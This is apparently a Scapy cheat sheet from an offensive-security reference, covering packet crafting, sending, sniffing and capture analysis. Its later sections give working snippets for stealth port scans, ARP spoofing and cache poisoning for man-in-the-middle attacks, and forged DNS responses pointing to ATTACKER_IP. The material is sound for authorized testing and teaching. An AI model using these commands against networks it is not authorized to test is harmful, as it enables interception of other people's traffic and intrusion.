SCAPY
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Python packet crafting and manipulation library. Build, send, sniff, and decode network packets at any protocol layer.
INSTALLATION#
pip install scapy # Or: sudo apt install python3-scapy # Start interactive console sudo scapy
PACKET BUILDING#
from scapy.all import * # Layer stacking (use / operator) pkt = IP(dst="10.10.10.5")/TCP(dport=80) pkt = Ether()/IP(dst="10.10.10.5")/TCP(dport=80, flags="S") pkt = IP(dst="10.10.10.5")/ICMP() pkt = IP(dst="10.10.10.5")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="example.com")) # View packet pkt.show() # Detailed view pkt.summary() # One-line summary ls(pkt) # List all fields hexdump(pkt) # Hex dump # Modify fields pkt[IP].src = "192.168.1.100" pkt[TCP].dport = 443 pkt[IP].ttl = 128
COMMON PACKET TYPES#
# ICMP Echo (ping) ping = IP(dst="10.10.10.5")/ICMP() # TCP SYN syn = IP(dst="10.10.10.5")/TCP(dport=80, flags="S") # TCP SYN with source port syn = IP(dst="10.10.10.5")/TCP(sport=RandShort(), dport=80, flags="S") # TCP ACK ack = IP(dst="10.10.10.5")/TCP(dport=80, flags="A") # TCP FIN fin = IP(dst="10.10.10.5")/TCP(dport=80, flags="F") # UDP udp = IP(dst="10.10.10.5")/UDP(dport=53) # DNS query dns = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="example.com")) # ARP request arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.10.10.0/24") # HTTP GET (raw) http = IP(dst="10.10.10.5")/TCP(dport=80)/"GET / HTTP/1.1\r\nHost: 10.10.10.5\r\n\r\n"
SENDING PACKETS#
# Layer 3 (IP level, auto-routing) send(pkt) # Send one packet send(pkt, count=5) # Send 5 times send(pkt, loop=1, inter=1) # Loop with 1s interval # Layer 2 (Ethernet level, specify interface) sendp(pkt, iface="eth0") # Send at L2 sendp(pkt, count=3) # Send and receive response resp = sr1(pkt) # Send/receive one resp = sr1(pkt, timeout=2) # With timeout ans, unans = sr(pkt) # Send/receive multiple ans, unans = srp(pkt, iface="eth0") # L2 send/receive
SNIFFING#
# Basic sniff
pkts = sniff(count=10) # Capture 10 packets
pkts = sniff(timeout=30) # Capture for 30 seconds
pkts = sniff(iface="eth0", count=50) # Specific interface
# With filter (BPF syntax)
pkts = sniff(filter="tcp port 80", count=20)
pkts = sniff(filter="icmp", count=10)
pkts = sniff(filter="host 10.10.10.5", count=50)
pkts = sniff(filter="udp port 53", count=10)
# With callback function
def process(pkt):
if pkt.haslayer(TCP):
print(f"{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
sniff(filter="tcp", prn=process, count=20)
# Save capture
wrpcap("capture.pcap", pkts)
# Read capture
pkts = rdpcap("capture.pcap")
PORT SCANNING#
# SYN scan (single port)
resp = sr1(IP(dst="10.10.10.5")/TCP(dport=80, flags="S"), timeout=1)
if resp and resp[TCP].flags == 0x12: # SYN-ACK
print("Port 80 is open")
# SYN scan (range)
ans, unans = sr(IP(dst="10.10.10.5")/TCP(dport=(1,1024), flags="S"), timeout=2)
for s, r in ans:
if r[TCP].flags == 0x12:
print(f"Port {r[TCP].sport} is open")
# XMAS scan
ans, unans = sr(IP(dst="10.10.10.5")/TCP(dport=80, flags="FPU"), timeout=1)
# NULL scan
ans, unans = sr(IP(dst="10.10.10.5")/TCP(dport=80, flags=""), timeout=1)
# ACK scan (firewall detection)
ans, unans = sr(IP(dst="10.10.10.5")/TCP(dport=80, flags="A"), timeout=1)
NETWORK DISCOVERY#
# ARP scan (local network)
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.10.10.0/24"),
timeout=2, iface="eth0")
for s, r in ans:
print(f"{r[ARP].psrc} is at {r[ARP].hwsrc}")
# ICMP scan
ans, unans = sr(IP(dst="10.10.10.0/24")/ICMP(), timeout=2)
for s, r in ans:
print(f"{r[IP].src} is alive")
# Traceroute
ans, unans = sr(IP(dst="8.8.8.8", ttl=(1,20))/ICMP(), timeout=2)
for s, r in ans:
print(f"TTL {s[IP].ttl}: {r[IP].src}")
# Or built-in
traceroute("8.8.8.8")
ARP ATTACKS#
# ARP spoofing (MITM)
# Tell target that attacker is the gateway
send(ARP(op=2, pdst="10.10.10.5", hwdst="TARGET_MAC",
psrc="10.10.10.1"), loop=1, inter=2)
# Tell gateway that attacker is the target
send(ARP(op=2, pdst="10.10.10.1", hwdst="GW_MAC",
psrc="10.10.10.5"), loop=1, inter=2)
# ARP cache poisoning
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=2, psrc="10.10.10.1",
hwsrc="AA:BB:CC:DD:EE:FF"), loop=1)
DNS SPOOFING#
# DNS response crafting
dns_resp = IP(dst="VICTIM_IP")/UDP(dport=SRC_PORT)/DNS(
id=QUERY_ID, qr=1, aa=1, rd=1,
qd=DNSQR(qname="example.com"),
an=DNSRR(rrname="example.com", rdata="ATTACKER_IP"))
PACKET ANALYSIS#
# Inspect captured packets
pkts = rdpcap("capture.pcap")
pkts.summary() # Summary of all packets
pkts[0].show() # First packet details
# Filter packets
tcp_pkts = [p for p in pkts if p.haslayer(TCP)]
http_pkts = [p for p in pkts if p.haslayer(TCP) and p[TCP].dport == 80]
dns_pkts = [p for p in pkts if p.haslayer(DNS)]
# Extract data
for pkt in pkts:
if pkt.haslayer(Raw):
print(pkt[Raw].load) # Raw payload
# Sessions
sessions = pkts.sessions()
for session_key, session_pkts in sessions.items():
print(f"{session_key}: {len(session_pkts)} packets")
TCP FLAGS REFERENCE#
Flag Value Name Scapy ---- ----- ---- ----- S 0x02 SYN flags="S" A 0x10 ACK flags="A" F 0x01 FIN flags="F" R 0x04 RST flags="R" P 0x08 PSH flags="P" U 0x20 URG flags="U" SA 0x12 SYN-ACK flags="SA" FA 0x11 FIN-ACK flags="FA" PA 0x18 PSH-ACK flags="PA" FPU 0x29 XMAS flags="FPU"
USEFUL FUNCTIONS#
ls() # List all protocols
ls(IP) # List IP fields
ls(TCP) # List TCP fields
lsc() # List all commands
conf.iface # Default interface
conf.route # Routing table
get_if_hwaddr("eth0") # Get MAC address
getmacbyip("10.10.10.1") # ARP lookup
RandShort() # Random port
RandIP() # Random IP
fuzz(IP()/TCP()) # Fuzz all fields
TIPS#
- Run scapy as root (raw socket access required) - Use sr1() for single request-response (simplest) - BPF filters in sniff() reduce capture overhead - wrpcap/rdpcap for Wireshark-compatible captures - Combine with pwntools for exploit development - fuzz() randomizes all fields for protocol fuzzing - Layer stacking with / is the core concept - Check resp[TCP].flags == 0x12 for open ports (SYN-ACK) - ARP attacks only work on local network segments - Use inter= parameter to control send rate